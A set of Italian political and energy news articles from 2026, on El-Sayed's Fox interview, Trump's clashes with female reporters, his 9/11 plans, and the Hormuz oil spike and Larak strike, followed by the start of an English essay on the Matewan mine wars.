Il vicepresidente JD Vance aveva criticato nei giorni scorsi El-Sayed, che è musulmano, per la sua adesione dichiarata alla sharia, la legge religiosa seguita dai musulmani. A pesare è anche una vecchia dichiarazione in cui il candidato aveva collegato i tentativi di vietarla al suprematismo bianco: chi cerca di metterla al bando, aveva detto, appartiene alle "stesse identiche forze che due secoli fa hanno cacciato i popoli nativi dalle loro terre, un secolo fa hanno distrutto Black Wall Street, il quartiere nero di Tulsa, decenni fa hanno fatto saltare in aria un edificio e meno di dieci anni fa hanno provato a vietare la sharia. Quelle forze sono ancora vive e vegete oggi".

Davanti a Watters, El-Sayed ha ripreso quell'argomento prendendosela con il senatore Tommy Tuberville. "L'idea che uno come Tommy Tuberville, che a stento era bravo ad allenare a football, se ne vada in giro a cercare di vietare la sharia quando la comunità musulmana in America è meno dell'1%, come se i musulmani stessero cercando di imporre la sharia, mi sembra un modo per prendere di mira deliberatamente la comunità musulmana perché è diversa", ha detto. "Quando si passano preventivamente leggi per vietare una cosa che non sta accadendo, quello che si sta cercando di fare è colpire una comunità molto piccola perché è diversa."

Watters ha replicato che la sharia in Michigan è "un po' inquietante" e che gli elettori non la vorrebbero. "Non penso sia una buona posizione", ha detto il conduttore. El-Sayed ha ripetuto che nessuno la sta proponendo e ha spostato il discorso sul costo della vita, dicendo che i cittadini del Michigan "sono preoccupati di come faranno a permettersi la benzina".

Sulla benzina El-Sayed ha accusato il conduttore di non sembrare "arrabbiato" per l'aumento dei prezzi provocato dalla guerra con l'Iran. Ha poi deriso il segretario alla Difesa Pete Hegseth, che prima di entrare nell'amministrazione conduceva "Fox & Friends Weekend" sulla stessa rete. "Il tizio che lavorava sul vostro canale, credo fosse tipo il sesto conduttore di The Five", ha detto, riferendosi al programma di Fox News che di conduttori ne ha cinque. "Voleva alzare il nostro bilancio militare a 1.500 miliardi di dollari e tu non sembri arrabbiato per questo. Cosa, così possiamo combattere una guerra da cui non sappiamo come uscire, per far salire i prezzi della benzina a 5 dollari al gallone (circa 3,8 litri)?" Il presidente e Hegseth hanno chiesto per il Pentagono proprio quella cifra.

Il conflitto con l'Iran è cominciato a febbraio e il candidato ha ricordato le parole del presidente sulla sua fine rapida. "Ops, vai in guerra e ci dici che sarà un'operazione militare speciale. Era febbraio. Adesso siamo quasi a settembre e stiamo ancora combattendo l'operazione militare speciale. Non sta funzionando per noi", ha detto. "Non la stiamo davvero combattendo, è un blocco", ha risposto Watters, che ha tenuto lo stesso sorriso per tutta l'intervista.

Watters ha detto di non volere che i democratici "facciano saltare in aria il paese" con il Medicare for All e ha chiesto all'ospite se sapesse quanto spende ogni anno il governo americano. El-Sayed ha provato a cambiare argomento e alla fine non ha risposto. "Sono 7.000 miliardi di dollari l'anno e il vostro piano per prendere il controllo del sistema sanitario ne costa 4.000", ha ribattuto il conduttore, riferendosi al sistema sanitario pubblico universale che El-Sayed propone in campagna elettorale.

Watters gli ha contestato anche vecchie dichiarazioni in cui aveva definito razzista la NFL, il campionato professionistico di football americano, e aveva parlato bene di Colin Kaepernick, l'ex quarterback dei San Francisco 49ers diventato un attivista. El-Sayed ha detto che Kaepernick era "un quarterback dannatamente bravo" che "avrebbe dovuto avere molti altri anni nella NFL", per poi tornare sui costi: "Il problema più grande che abbiamo adesso con il football è che ho guardato i prezzi dei biglietti per andare a vedere una partita con la mia famiglia. Sono astronomici, alle stelle."

Sulle terapie di affermazione di genere per i minori El-Sayed, che è medico, ha detto che la decisione spetta al medico del bambino e ai genitori, non al governo federale. Watters ha chiesto se fosse accettabile che un genitore facesse asportare i genitali del figlio ed El-Sayed ha risposto chiedendogli se fosse circonciso. "Sì, ma insomma, è una domanda personale, dottore", ha detto il conduttore. "Una circoncisione è diversa da una castrazione." Il candidato ha replicato che "è un problema che tu pensi di poter decidere cosa succede tra un genitore, un medico e un paziente" e ha accusato la rete di essere "molto selettiva" su questi temi.

Alla domanda sugli atleti transgender El-Sayed ha rifiutato di rispondere nel merito. Watters ha insistito dicendo che è "una cosa piuttosto grossa, se hai seguito le notizie di recente". "Per favore, siamo seri", ha replicato El-Sayed. "Sono qui con te, voglio parlare dei temi che contano. Parliamo delle cose di cui la gente parla davvero. So che voi ne parlate, ma la maggior parte del paese no."

In un altro passaggio El-Sayed ha definito "beta" il suo avversario Mike Rogers, un termine gergale che indica una persona debole, e ha sostenuto che Watters fosse d'accordo dopo che il conduttore si era messo a ridere. "Ho un solo obiettivo adesso: vincere il Michigan. E visto che Mike Rogers, che tu concordi essere un beta, è il mio avversario, probabilmente non dovrebbe essere molto difficile", ha detto. Watters ha chiuso l'intervista dicendogli che le sue idee sono "completamente strampalate" e che sembra "un po' ingenuo".

El-Sayed ha vinto di misura le primarie democratiche di inizio agosto contro la deputata Haley Stevens, in una delle affermazioni più importanti dell'ala socialista del partito, e a novembre sfiderà l'ex deputato repubblicano Mike Rogers. Quella del Michigan è considerata una delle corse più incerte e influenti delle elezioni di metà mandato del 2026 e sarà un banco di prova per la capacità dei candidati della sinistra radicale di vincere negli Stati in bilico.


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Trump, gli insulti e il pessimo rapporto con le croniste della Casa Bianca


Axios ha contato almeno tredici attacchi da novembre 2025, spesso rivolti non solo al lavoro delle croniste ma anche al loro carattere e aspetto fisico. Per la Freedom of the Press Foundation è un attacco contro il Primo Emendamento.

Donald Trump e il suo staff presentano spesso il presidente come uno dei più accessibili ai media nella storia americana. Ma il rapporto con le giornaliste che lo seguono è stato spesso segnato da pesanti insulti e attacchi personali. Un'analisi di Axios sulle dichiarazioni del presidente ha contato almeno tredici attacchi contro le croniste a partire da novembre 2025, quando Trump suscitò polemiche chiamando "maialina" la corrispondente Catherine Lucey di Bloomberg, che gli aveva rivolto una domanda sul caso Jeffrey Epstein.

Gli ultimi bersagli in termini temporali sono stati Maggie Haberman del New York Times e Kristen Welker, conduttrice di "Meet the Press" sulla NBC. Trump ha definito Haberman su Truth Social "una persona sgradevole dentro e fuori" e una "truffatrice", reagendo a un articolo sui suoi piani per il venticinquesimo anniversario dell'11 settembre. La giornalista è da tempo uno dei suoi bersagli ricorrenti, anche per il libro che ha scritto sulla sua presidenza.

Domenica Trump ha poi annunciato che Welker sarà segnalata alla Federal Communications Commission (FCC), l'autorità federale che regolamenta le comunicazioni, affinché riceva una "reprimenda o punizione". Il presidente ha reagito in questo modo a un'osservazione della conduttrice, secondo cui il suo sostegno ai candidati avrebbe oggi un peso minore rispetto al passato, arrivando a definire il lavoro di Welker "una minaccia per il nostro Paese". Anna Gomez, unica commissaria democratica della FCC, ha replicato che l'agenzia "non ha alcuna autorità per punire i giornalisti sgraditi a questa amministrazione".

Un registro diverso con le donne


Trump attacca frequentemente anche i giornalisti uomini, ma in quei casi gli insulti tendono a concentrarsi meno sull'aspetto personale. In passato, ha messo in dubbio l'intelligenza di Don Lemon e nel 2018 definì l'allora corrispondente della CNN Jim Acosta come "una persona maleducata e terribile".

Con le donne, invece, gli attacchi riguardano spesso anche le capacità professionali, il carattere o l'aspetto fisico. Trump ha definito Rachel Scott di ABC News "una delle peggiori reporter" e "uno spettacolo dell'orrore"; ha ripetutamente detto a Kaitlan Collins della CNN di sorridere e ha descritto Kristen Holmes, sempre della CNN, come "una persona rumorosa e chiassosa", intimandole di stare zitta mentre gli rivolgeva domande su Natalie Harp, la collaboratrice che affianca spesso il presidente.

Trump ha inoltre definito più volte giornaliste afroamericane "di seconda categoria" e ne ha messo in dubbio l'intelligenza, suscitando ripetute condanne della National Association of Black Journalists, l'associazione che rappresenta i giornalisti afroamericani.

Secondo Lauren Harper, titolare della cattedra Daniel Ellsberg sulla segretezza di governo alla Freedom of the Press Foundation, questi episodi rappresentano una pericolosa escalation sul terreno del Primo Emendamento. "È la continuazione dei suoi attacchi alla stampa libera e del tentativo di intimidirla e punirla per una copertura che non gli piace, ed è anche la continuazione di un attacco rivolto in particolare alle donne: per lui è un tema ricorrente".


Trump non andrà al sito delle Torri Gemelle per l'11 settembre perché non potrà parlare


Il presidente Donald Trump non parteciperà alla cerimonia di New York per i venticinque anni dagli attentati dell'11 settembre 2001, anche perché voleva pronunciare un discorso e il memoriale non lo permette a nessun politico. Lo ha rivelato il New York Times. L'anniversario segna un quarto di secolo dall'attacco più grave subito dagli Stati Uniti dopo quello di Pearl Harbor.

La Casa Bianca aveva già avviato i preparativi per la visita. I collaboratori del presidente avevano fatto i sopralluoghi sul posto e avevano fatto sapere alle autorità di New York e di Washington che Trump intendeva andare a Ground Zero, lo spazio del memoriale dove sorgevano le Torri Gemelle. Nelle ultime settimane agli organizzatori era arrivata anche la richiesta di far parlare il presidente.

Dal 2012 ai politici è vietato pronunciare discorsi durante la commemorazione. Il National September 11 Memorial and Museum, la fondazione che gestisce il sito, ha lavorato per tenere quel luogo fuori dalla politica di parte e concentrato sulla solennità della giornata. Nel primo decennio dopo gli attentati gli eletti leggevano poesie e documenti storici americani come il discorso di Gettysburg. Adesso i politici dei due schieramenti stanno semplicemente uno accanto all'altro mentre i familiari delle vittime salgono sul palco e leggono per ore i nomi dei morti.

Trump commemorerà invece l'anniversario al Pentagono, il quartier generale della Difesa americana, colpito anch'esso negli attacchi dell'11 settembre 2001. Lì il presidente potrà pronunciare un discorso, come aveva già fatto alla cerimonia di Arlington, in Virginia, l'anno scorso e nel 2017. A rappresentare la Casa Bianca a New York sarà il vicepresidente JD Vance.

La convention repubblicana di metà mandato si terrà a Dallas, in Texas, il 9 e il 10 settembre. Trump è atteso sul palco alle 21 di giovedì 10, ora della costa est (le 3 del mattino dell'11 settembre in Italia). Gli organizzatori hanno discusso di inserire nel programma anche un omaggio alle vittime degli attentati. Dal Texas il presidente andrà poi a Washington.

Il giorno successivo alla commemorazione Trump partirà per l'Irlanda, dove il suo campo da golf di Doonbeg ospita l'Irish Open. Partire dall'aeroporto John F. Kennedy di New York o da quello di Newark, in New Jersey, avrebbe bloccato il traffico aereo e stradale molto più di una partenza dalla base militare di Joint Base Andrews, in Maryland.

Anna Kelly, portavoce della Casa Bianca, non ha risposto alle domande sui programmi del presidente per l'anniversario. "Nel venticinquesimo anniversario di questo giorno tragico il presidente ricorderà chi è stato ucciso per mano di terroristi malvagi, onorerà i loro cari e renderà omaggio ai coraggiosi soccorritori che hanno messo a rischio la propria vita per salvare i concittadini", ha dichiarato.

Il discorso dell'anno scorso al Pentagono era arrivato meno di ventiquattro ore dopo l'omicidio di Charlie Kirk, l'attivista conservatore ucciso a colpi di arma da fuoco mentre parlava in un campus universitario dello Utah. La cerimonia venne spostata in un altro punto per motivi di sicurezza. "Ricordiamo la luce dei migliori e dei più coraggiosi d'America e l'amore che hanno mostrato nei loro ultimi istanti", disse allora Trump. "In loro memoria facciamo una promessa solenne e nobile. Onoreremo sempre i nostri grandi eroi e voi siete i nostri eroi".

Il presidente ha subito due tentativi di assassinio e altri piani per ucciderlo attribuiti a presunti agenti iraniani. Le minacce nei suoi confronti sono aumentate da quando, il 28 febbraio, ha dato il via alla guerra contro l'Iran.

Alla cerimonia di Manhattan sono attesi l'ex sindaco di New York Rudolph Giuliani, l'ex presidente Bill Clinton con la moglie Hillary, l'ex presidente George W. Bush con la moglie Laura e l'ex presidente Barack Obama. Trump aveva partecipato l'ultima volta nel 2024, insieme a Vance, all'ex sindaco Michael Bloomberg, all'allora presidente Joe Biden e all'allora vicepresidente Kamala Harris. Nessuno di loro prese la parola e il presidente andò poi a visitare una caserma dei vigili del fuoco.

I collaboratori di Trump hanno discusso della possibilità di portare il memoriale sotto il controllo federale, anche nel corso dell'anno scorso. Le famiglie delle vittime negli ultimi anni hanno criticato la gestione e i conti della fondazione.

Il presidente si trovava a New York il giorno degli attacchi e in quelle ore disse a una televisione del New Jersey che il grattacielo di sua proprietà al 40 di Wall Street, fino ad allora il secondo più alto di Lower Manhattan, "ora è il più alto". L'affermazione era sbagliata, perché poco distante il palazzo di 70 Pine Street superava in altezza quello di Trump.


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Petrolio sopra i 95 dollari, Hormuz torna a pesare sui mercati


I nuovi attacchi nel Golfo spingono il Brent ai massimi da luglio. il Segretario al Tesoro Bessent scommette sui nuovi oleodotti per ridurre il peso dello Stretto in futuro, mentre crescono i timori per inflazione e Fed.

La nuova ondata di raid americani sull'Iran ha fatto risalire il petrolio, con gli investitori che stanno tenendo in conto il ritorno a una fase più calda del conflitto nel Golfo Persico. I future sul Brent, il riferimento internazionale, sono saliti di oltre il 4% superando i 94 dollari al barile, mentre il WTI, il riferimento americano, è cresciuto del 4,5% avvicinandosi ai 90 dollari. Oggi il Brent per consegna a novembre ha toccato i 96,59 dollari. Il giorno prima dell'inizio della guerra, a fine febbraio, aveva chiuso a 72,48.

I mercati hanno reagito così all'attacco a due superpetroliere, la Sidr dell'armatore saudita Bahri e la Senegal Prosperity della sudcoreana Sinokor, raggiunte da attacchi non rivendicati a pochi minuti di distanza tra lunedì sera e martedì, mentre uscivano dallo Stretto dentro il corridoio meridionale presidiato dagli americani, ciascuna con due milioni di barili di greggio saudita a bordo. Nel fine settimana gli Stati Uniti avevano bombardato l'isola di Larak, dove secondo il Comando Centrale americano l'esercito iraniano preparava razzi per portare mine nello stretto. L'Iran aveva risposto con droni contro la Giordania e gli Emirati e con il sequestro di una nave da carico vicino a Bandar Abbas. Si è trattato del primo ritorno a scontri veri e propri dopo circa un mese di calma.

Petrolio e guerra nel Golfo

I raid sull’Iran riaccendono Hormuz e riportano il petrolio sopra i 96 dollari


Dopo un mese di calma, il bombardamento americano dell’isola di Larak e gli attacchi a due superpetroliere in uscita dallo Stretto hanno riportato i mercati a prezzare la guerra. Il conto arriva alla pompa e alla Fed.

Grafica di FocusAmerica


Brent, dollari al barile
72,48$
Consegna a novembre, quotazione toccata nella seduta del 2 settembre 2026

+0,0%dal pre-guerra

Il giorno prima dell’inizio della guerra il Brent aveva chiuso a 72,48 dollari. Nella seduta di oggi ha guadagnato oltre il 4%, il WTI il 4,5%.

Vigilia della guerra72,48
2 settembre96,59

70
80
100
WTI ≈ 90

Lo Stretto

Da Hormuz passa metà del greggio di prima: il resto aggira lo Stretto via oleodotto


La produzione del Golfo è risalita a circa due terzi dei livelli prebellici, ma i transiti nello Stretto restano dimezzati: il petrolio saudita ed emiratino esce sempre più dalle condotte verso il Mar Rosso e il Golfo di Oman.

ARABIA SAUDITA IRAN IRAQ OMAN YEMEN EGITTO Mar Rosso Golfo Persico produzione al 66% del pre-guerra Golfo di Oman EAU Yanbu ~7 mln barili/giorno Abqaiq Oleodotto Est-Ovest Fujairah da 1,8 a 3,6 mln b/g Habshan Stretto di Hormuz transiti al 50% del pre-guerra Larak: raid USA ARABIA SAUDITA IRAN OMAN Mar Rosso Yanbu ~7 mln b/g Oleodotto Est-Ovest Fujairah 1,8 → 3,6 mln Hormuz transiti al 50% Larak
greggio attraverso lo Stretto greggio via oleodotto e rotte alternative Hormuz, transiti dimezzati

0%
del greggio mondiale transitato da Hormuz nel 2025
IEA

0%
i transiti attuali nello Stretto rispetto al pre-guerra
Marisks

0mln b/g
inviati da Riyadh sulla condotta Est-Ovest fino a Yanbu
Durante la chiusura dello Stretto

0mln b/g
la capacità di esportazione prevista a Fujairah, il doppio di oggi
Abu Dhabi


Washington

Gli Stati Uniti dipendono poco da Hormuz: solo il 7% del greggio importato


Produzione interna e importazioni dal Canada hanno portato la quota di greggio americano in arrivo dal Golfo al livello più basso in quasi quarant’anni.

0%
del greggio importato dagli USA passa da Hormuz

0,5 mln b/g
i barili importati ogni giorno dai Paesi del Golfo attraverso lo Stretto nel 2024

~40 anni
da quando la dipendenza americana dal Golfo non era così bassa

2 anni
l’orizzonte in cui, secondo Bessent, gli oleodotti renderanno Hormuz irrilevante; le nuove condotte, però, richiedono anni


«Tra due anni lo Stretto di Hormuz sarà un pezzo d’acqua senza valore»
Scott Bessent, Segretario al Tesoro, a Fox Business dal G20 finanziario di Asheville

Il conto

Il rimbalzo del greggio si scarica sulla benzina e complica la mossa della Fed

Alla pompa
Benzina negli Stati Uniti, dollari al gallone

Prima della guerrafine febbraio

2,98 $

Oggi2 settembre

4,09 $

+0%in sei mesi, media nazionale secondo l’automobile club AAA

Federal Reserve
Probabilità di un rialzo dei tassi a settembre

~0%
sui mercati delle scommesse, con i tassi oggi al 3,50-3,75% e il nuovo presidente Warsh concentrato sull’inflazione

Rendimenti dei Treasury, variazione in punti base
2 anni

+5 pb
10 anni

+4 pb
30 anni

+2 pb

Fonte: confini Natural Earth (semplificati); tracciati di oleodotti e rotte indicativi; quotazioni Brent e WTI dei future al 2 settembre 2026; Goldman Sachs (produzione del Golfo); Marisks (transiti nello Stretto); IEA (quote 2025); EIA (importazioni USA 2024); AAA (prezzo della benzina); Comando Centrale USA; dichiarazioni di Scott Bessent a Fox Business. Variazioni percentuali calcolate sui valori riportati.

Gli oleodotti che aggirano lo Stretto


La produzione nei Paesi del Golfo è tornata a circa due terzi dei livelli prebellici, secondo Goldman Sachs, mentre i transiti nello Stretto restano a circa la metà, secondo la società di analisi marittima Marisks, perché gran parte di quel greggio esce ora dalla regione attraverso gli oleodotti verso il Mar Rosso e il Golfo di Oman. Prima della guerra dallo Stretto passava circa un quinto del commercio mondiale di petrolio. Secondo l'Agenzia Internazionale dell'Energia (IEA) nel 2025 vi era transitato quasi il 34% del greggio mondiale, in gran parte diretto in Asia.

Il Segretario al Tesoro Scott Bessent ha detto che lo Stretto "non è un collo di bottiglia" per gli Stati Uniti, parlando con Larry Kudlow di Fox Business a margine della riunione dei Ministri delle Finanze del G20 ad Asheville, in North Carolina. Nel 2024 il Paese ha importato attraverso Hormuz circa mezzo milione di barili al giorno dai Paesi del Golfo, il 7% del greggio totale importato, secondo l'Agenzia per l'Informazione sull'Energia (EIA), che ha registrato il livello più basso in quasi 40 anni grazie alla produzione interna e alle importazioni dal Canada. LoStretto resta invece un collo di bottiglia "per molti altri Paesi", ha ammesso Bessent, ma non per molto: "Tra due anni lo Stretto di Hormuz sarà un pezzo d'acqua senza valore", perché il petrolio "viaggerà su oleodotti attraverso la terraferma".

Arabia Saudita ed Emirati hanno già alcuni oleodotti operativi che aggirano lo Stretto: durante la chiusura dello Stretto Riyadh ha inviato petrolio per circa 7 milioni di barili al giorno sulla condotta Est-Ovest fino a Yanbu, porto sul Mar Rosso, e Abu Dhabi progetta di raddoppiare la capacità di esportazione da Fujairah, fuori da Hormuz, da 1,8 a 3,6 milioni di barili al giorno. Insieme a Iraq e Turchia i due Paesi hanno firmato accordi per costruire altri oleodotti, ma quelle infrastrutture richiedono anni.

L'aumento della benzina e il rischio tassi della Fed


Nel frattempo però il conto lo pagano i consumatori: la benzina negli Stati Uniti costa in media 4,09 dollari al gallone, secondo l'automobile club AAA, contro i 2,98 di due giorni prima dell'inizio del conflitto. Il rimbalzo del prezzo petrolio arriva in un momento delicato per Washington. Gli investitori guardano alla riunione della Federal Reserve di settembre, dopo che il nuovo presidente Kevin Warsh ha indicato l'inflazione come obiettivo principale e il membro del board Michael Barr ha detto che sarebbe disposto ad appoggiare un rialzo se l'inflazione non rallentasse abbastanza.

La previsione di un aumento dei tassi, oggi al 3,50-3,75%, è salita sui mercati delle scommesse a circa il 70%, mentre i rendimenti dei Treasury a due anni sono già cresciuti di cinque punti base, e quelli a dieci e trent'anni di quattro e due.


Hormuz, gli Stati Uniti attaccano l'isola iraniana di Larak, Teheran risponde


Le forze americane hanno colpito ieri due lanciatori iraniani sull'isola di Larak, nello Stretto di Hormuz, con l'obiettivo di impedire la posa di nuove mine navali nelle acque dello Stretto. Lo ha riferito un funzionario americano, secondo cui i Guardiani della Rivoluzione, il corpo militare che risponde direttamente alla Guida Suprema iraniana, erano stati osservati mentre si preparavano a lanciare in mare vettori carichi di mine.

Si tratta del primo attacco americano noto in territorio iraniano dalla fine di luglio, quando Donald Trump sospese la campagna militare di due settimane condotta dagli Stati Uniti nello stretto. La settimana scorsa il CENTCOM, il comando militare americano per il Medio Oriente, aveva dichiarato conclusa la bonifica delle mine lungo la principale rotta di navigazione.

In un video diffuso giovedì, l'ammiraglio Brad Cooper, comandante del CENTCOM, aveva spiegato che "negli ultimi mesi" le forze statunitensi avevano ripulito "meticolosamente e in silenzio" le rotte internazionali, impiegando sommozzatori della Marina, incursori SEAL e velivoli. Alcuni alleati degli Stati Uniti avrebbero però avvertito in privato che le operazioni non avevano eliminato tutte le mine posate dagli iraniani, il cui numero era stimato tra 80 e 150.

Trump aveva avvertito che l'Iran era stato informato che qualsiasi nave o imbarcazione impegnata a posare nuovi ordigni sarebbe stata "immediatamente e sistematicamente distrutta". "È in pieno vigore una politica di tolleranza zero sulla posa di mine", aveva scritto il presidente su Truth Social, aggiungendo che la Space Force sorveglia "ogni centimetro quadrato" dello Stretto.

Stretto di Hormuz · 30 agosto 2026

Due lanciatori su uno scoglio: il raid di Larak incrina la tregua nello Stretto

Le forze americane hanno colpito due lanciatori iraniani sull’isola di Larak, dove i Guardiani della Rivoluzione preparavano razzi carichi di mine da lanciare in mare. È il primo attacco statunitense noto in Iran dalla fine di luglio.

Grafica di FocusAmerica 31 agosto 2026

Il teatro

Larak, cinquanta chilometri quadrati a ridosso della rotta del petrolio


Larak si trova all’imboccatura dello Stretto, a poche decine di chilometri dal corridoio dove transitano le petroliere dirette in Asia e in Europa.


20 km

Corridoio di navigazione internazionale Obiettivo colpito il 30 agosto

Perché conta

Dallo Stretto passavano 21 milioni di barili di petrolio al giorno, circa un quinto del consumo mondiale. Le corsie internazionali corrono a poche decine di chilometri da Larak: per questo Washington ha annunciato una politica di tolleranza zero sulla posa di nuovi ordigni.

Coste e isole: Natural Earth, scala 1:10 milioni. Il corridoio indica la posizione approssimativa delle rotte internazionali, formate da due corsie di 3,2 chilometri ciascuna separate da una fascia di sicurezza.

2
Lanciatori distrutti
Colpiti mentre i Guardiani caricavano razzi con mine navali

2
Morti, più due feriti
Bilancio dell’agenzia Tasnim, vicina ai Guardiani

5
Settimane senza attacchi
Dalla sospensione della campagna americana, a fine luglio

21 milioni
Barili al giorno nello Stretto
Il flusso prima della crisi, un quinto del petrolio mondiale

Esplora la crisi
ICome ci si è arrivati IILe mine che restano IIIIl traffico

Cinque settimane di calma, finite in un pomeriggio


Dalla sospensione della campagna americana alla ripresa del fuoco, passando per la bonifica dichiarata conclusa dal CENTCOM.


«Avrà risposta dai figli dell’Iran e si concluderà con la punizione dell’aggressore»Guardiani della Rivoluzione, poche ore dopo il raid


Bonifica conclusa, ma non per tutti


Washington sostiene che le acque internazionali dello Stretto siano libere. Alcuni alleati hanno avvertito in privato che le operazioni non hanno eliminato tutte le mine posate dagli iraniani. Ogni simbolo della griglia è una mina.

0
Le mine ancora attive sulla rotta principale, secondo la versione americana

80–150
Le mine che l’Iran avrebbe posato nello Stretto, secondo le stime degli alleati

I transiti risalgono, la normalità resta lontana


Nell’ultima settimana rilevata il traffico settimanale attraverso lo Stretto è cresciuto di oltre il trenta per cento, trainato da petroliere e gasiere.

21 mln
I barili al giorno che passavano dallo Stretto prima della crisi: circa un quinto del consumo mondiale di prodotti petroliferi.

10%
La quota di container movimentata oggi dal porto di Jebel Ali rispetto ai volumi normali. I carichi vengono dirottati su Fujairah e sull’Oman, fuori dallo Stretto.

I dati settimanali sono preliminari: i transiti non tracciati, con il trasponditore spento, possono farli salire nelle revisioni successive.

Fonte Elaborazione FocusAmerica su Axios, CNN e Al Arabiya per la ricostruzione del raid; agenzia Tasnim e IRIB per il bilancio delle vittime; Lloyd’s List Intelligence e USNI News per i transiti settimanali; EIA per i flussi di petrolio. Base cartografica: Natural Earth. Dati aggiornati al 30 agosto 2026.

Teheran risponde e riapre lo scontro


Il raid americano su Larak avrebbe provocato delle vittime. Secondo l’agenzia Tasnim, vicina ai Guardiani della Rivoluzione, l’attacco sarebbe stato condotto da un drone e avrebbe ucciso due persone, ferendone altre due. I Guardiani, citati dall’emittente statale iraniana IRIB, hanno sostenuto che il bombardamento avrebbe causato morti e feriti sia tra i militari sia tra i civili iraniani, senza fornire un bilancio preciso. Poco dopo hanno promesso una risposta: l’attacco americano, avevano dichiarato, “avrà risposta dai figli dell’Iran e si concluderà con la punizione dell’aggressore”.

La rappresaglia è arrivata nelle prime ore di lunedì. L’Iran ha lanciato missili balistici contro due basi che ospitano forze americane in Giordania, riaccendendo così lo scontro diretto con Washington dopo circa un mese di relativa tregua. I Guardiani della Rivoluzione hanno affermato di aver colpito le basi di King Hussein e Al Azraq e di aver provocato “gravi danni”. L’esercito giordano ha confermato di avere intercettato otto missili entrati nello spazio aereo del Paese, senza precisarne la provenienza. Una fonte americana citata dalla stampa statunitense ha riferito che quasi tutti i missili diretti contro le installazioni sono stati intercettati e che, nelle prime ore successive all’attacco, non risultavano danni significativi. Reuters e Associated Press hanno confermato l’attacco iraniano e le intercettazioni annunciate da Amman.

Teheran ha rivendicato anche altre due azioni che, al momento, non risultano confermate in modo indipendente. L’esercito iraniano ha dichiarato di aver lanciato decine di droni d’attacco contro la base aerea di Al Minhad, negli Emirati Arabi Uniti, prendendo di mira le aree in cui sarebbero dislocati elicotteri e militari statunitensi. Separatamente, i Guardiani della Rivoluzione hanno affermato di aver abbattuto con un missile un drone americano MQ-9 Reaper sopra lo Stretto di Hormuz, facendolo precipitare nelle acque del Golfo. Il Financial Times ha riportato entrambe le rivendicazioni iraniane, senza però indicare una conferma da parte degli Stati Uniti.

Il Ministro degli Esteri iraniano ha definito gli attacchi contro le basi americane un atto di “legittima difesa” in risposta al raid su Larak. “Non cerchiamo la guerra, ma daremo una risposta decisa agli aggressori”, ha dichiarato il presidente Masoud Pezeshkian, secondo la televisione di Stato. Washington sostiene invece che l’operazione su Larak sia stata un’azione “limitata e precisa” contro unità dei Guardiani della Rivoluzione che rappresentavano una “minaccia imminente” perché si preparavano a posare nuove mine nello Stretto di Hormuz.


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Through the Spyglass: Protect and Serve


You see a certain phrase all across police departments everywhere.

Protect and Serve.

You can’t go far without seeing or hearing it.

Protect and Serve.

Banners. Badges. Mugs. Shirts.

Protect and Serve.

The phrase is simple, and it cuts straight to the point. That’s the point of any given police department.

Protect and Serve.

…Right?

That is the point, is it not? If it wasn’t, why would they say it everywhere?

Protect and Serve.

But look at how vague that phrase is. You’d think it’s self-explanatory, but who ultimately is the beneficiary of it?

Protect and Serve.

Yeah, but who? Or what?

Let me take you back for a moment. If we are to answer this question, we should go back to when that question was pushed to the limit.

Let’s start with an answer, one that most would probably default to, and work our way through the story and see if we’re right.

Protect and Serve.

Their community?

Take a step back. The story begins near the Tug Fork River, with one of the most famous feuds in United States history: the Hatfields vs McCoys.

Stolen pigs, affairs, taking turns shedding blood, New Years 1888, the Battle of the Grapevine Creek. You’ve heard all the stories of your father’s cousins; the feuding and the killing.

Step in: your name is Jessie Maynard, and your grandmother was “Ole Randall” McCoy’s cousin and sister-in-law (gross!). It was before your time (the feud had died down before you were born), but the stories would linger forever in the folklore of the United States, let alone in the immediate aftermath of the families directly impacted.

You, naively, may believe the violence your family experienced is behind you.

In 1911, days after your 17th birthday, you marry Cabell Testerman, the twice-divorced 29-year-old jeweler and optician by trade.

While the interfamilial violence may have subsided, there was a whole new dimension to life in Appalachia that was beginning to reveal itself.

The coal industry was about to explode, and so was the movement for labor rights, protections and representation.

The first sign you noticed things will start to get out of hand was perhaps the 15-month-long Paint Creek-Cabin Creek strike, beginning less than a year after your wedding in April 1912.

Happening just a few counties over in Southern West Virginia, you hear about these “Baldwin-Felts” agents who were called in to be strike breakers, and an Irish-born woman named Mother Jones coming in to assist.

Some papers are calling Jones the “most dangerous woman in America,” but she’s assisting laborers fighting to unionize and having their demands met. How could she be the “most dangerous” when she’s only helping laborers?

After all, she’s not the one putting up snipers or organizing beatings.

These, of course, were happening in company towns across Southern West Virginia. Luckily for you, Matewan is an independent municipality.

You, naively, may believe that type of violence would never come to Matewan.

That Paint Creek-Cabin Creek strike would last until July 1913, ending with the recognition of the union they tried to form.

Good for them!

A year later, you read about the heir to Austria-Hungry getting assassinated in Sarajevo. Some far off European lands. Eventually a whole mess of European Powers are at war with each other.

Typical Europeans, always fighting each other in some war.

This so-called “Great War” in Europe seems to be all the news is talking about. Come 1916, the same year you and Cabell adopt your son Jack, President Wilson is even running on “He kept us out of the war!”

He won! But the Germans were sinking our ships and telling Mexico they should invade us. So, he got us into the war in April 1917, 150 days after the election and only 32 days after his second inauguration.

So much for that promise.

Many men from West Virginia, in your and surrounding counties, were conscripted into the Army to fight that war. They weren’t just miners anymore; they were trained combat veterans.

You hear about that dreaded Russian Empire falling to what the government calls “Bolshevism,” and how we’re sending troops into the Russian Civil War to defeat the “Bolshevik menace.”

Then, something strange happens.

After this Great War ends on the eleventh hour of the eleventh day of the eleventh month in 1918, and our boys began coming home, they still had their pro-unionization aspirations in mind.

But now, the government is calling them “Bolsheviks,” wanting a union “Bolshevism,” and since we’re still fighting Bolshevism in Russia, then it’s somehow patriotic to do that here.

But wait. That can’t possibly be right.

These boys were striking back before the war even started. They were calling Mother Jones “the most dangerous woman in America.” They were always fighting our boys to keep them from unionizing, but now they’re using scare tactics to turn the public against the miners.

These boys just fought a war in Europe the President ran on having kept us out of, and you repay those efforts by calling those men Bolsheviks and unpatriotic?

Those awful Baldwin-Felts strike breakers were always trying to keep these miners from unionizing, and now it just seems like they’re using the convenient excuse of “patriotically fighting Bolsheviks at home” to continue what they’ve been doing this whole time.

Your husband, Cabell, tells you how Albert Felts had the audacity to offer him $500 to allow machine guns to be placed on rooftops in Matewan, as they were carrying out evictions in company housing on the outskirts of Matewan. Hundreds of miners and their families had been evicted from their homes already going into the Spring on 1920.

He tells you what he told Felts: “There wasn’t enough money in the county for him to do something like that.”

His friend and appointed police chief, Sid Hatfield, was offered bribes as well, but stood firmly by his side. Hard living and rough and rumble, Sid might have been a surprising choice to appoint police chief some in town, but he was strong pro-miner and pro-union, as was Cabell himself.

